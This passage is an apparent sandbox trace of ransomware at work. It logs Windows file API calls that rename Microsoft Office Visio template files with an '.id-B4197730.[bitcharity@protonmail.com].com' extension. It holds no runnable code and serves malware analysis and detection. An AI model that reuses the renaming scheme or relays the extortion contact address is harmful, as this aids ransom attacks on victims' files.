Office\\root\\Office16\\Visio Content\\1033\\BPMN_ADDRESS_CHANGE_PROCESS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_address_change_process_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.079] CloseHandle (hObject=0x1270) returned 1 [0274.080] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.080] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_ADDRESS_CHANGE_PROCESS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_address_change_process_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.081] CloseHandle (hObject=0x1270) returned 1 [0274.082] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.082] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.082] CloseHandle (hObject=0x1270) returned 1 [0274.083] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.083] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.083] CloseHandle (hObject=0x1270) returned 1 [0274.084] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.084] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_GATEWAY_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_process_gateway_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.085] CloseHandle (hObject=0x1270) returned 1 [0274.085] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.085] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_GATEWAY_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_process_gateway_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.086] CloseHandle (hObject=0x1270) returned 1 [0274.087] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.087] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_MULTIPLE_ROLES_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_process_multiple_roles_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.087] CloseHandle (hObject=0x1270) returned 1 [0274.088] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.088] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_PROCESS_MULTIPLE_ROLES_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_process_multiple_roles_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.088] CloseHandle (hObject=0x1270) returned 1 [0274.089] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.089] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.089] CloseHandle (hObject=0x1270) returned 1 [0274.090] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.090] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPMN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpmn_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.091] CloseHandle (hObject=0x1270) returned 1 [0274.092] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.092] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BPRES_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bpres_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.377] CloseHandle (hObject=0x1270) returned 1 [0274.383] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.383] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cubicl_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.384] CloseHandle (hObject=0x1288) returned 1 [0274.385] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.385] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\datflo_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.385] CloseHandle (hObject=0x1288) returned 1 [0274.390] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.390] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\datflo_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.390] CloseHandle (hObject=0x1288) returned 1 [0274.393] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.393] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATFLO_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\datflo_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.394] CloseHandle (hObject=0x1288) returned 1 [0274.394] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.394] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATMOD_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\datmod_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.395] CloseHandle (hObject=0x1288) returned 1 [0274.396] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.396] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DATMOD_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\datmod_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.396] CloseHandle (hObject=0x1288) returned 1 [0274.397] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.397] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbchen_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.397] CloseHandle (hObject=0x1288) returned 1 [0274.398] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.398] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbchen_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.398] CloseHandle (hObject=0x1288) returned 1 [0274.399] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.399] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbchen_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.399] CloseHandle (hObject=0x1288) returned 1 [0274.400] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.400] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCHEN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbchen_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.400] CloseHandle (hObject=0x1288) returned 1 [0274.401] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.401] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbcrow_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.401] CloseHandle (hObject=0x1288) returned 1 [0274.402] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.402] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbcrow_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.402] CloseHandle (hObject=0x1288) returned 1 [0274.403] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.403] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbcrow_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.403] CloseHandle (hObject=0x1288) returned 1 [0274.403] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.404] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBCROW_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbcrow_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.404] CloseHandle (hObject=0x1288) returned 1 [0274.404] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.405] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbidef1x_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.405] CloseHandle (hObject=0x1288) returned 1 [0274.406] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.406] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbidef1x_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.406] CloseHandle (hObject=0x1288) returned 1 [0274.407] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.407] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbidef1x_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.407] CloseHandle (hObject=0x1288) returned 1 [0274.408] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.408] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBIDEF1X_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbidef1x_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.408] CloseHandle (hObject=0x1288) returned 1 [0274.415] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.415] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbuml_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.415] CloseHandle (hObject=0x1270) returned 1 [0274.416] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.416] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbuml_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.416] CloseHandle (hObject=0x1270) returned 1 [0274.417] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.417] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DBUML_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dbuml_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.417] CloseHandle (hObject=0x1270) returned 1 [0274.418] 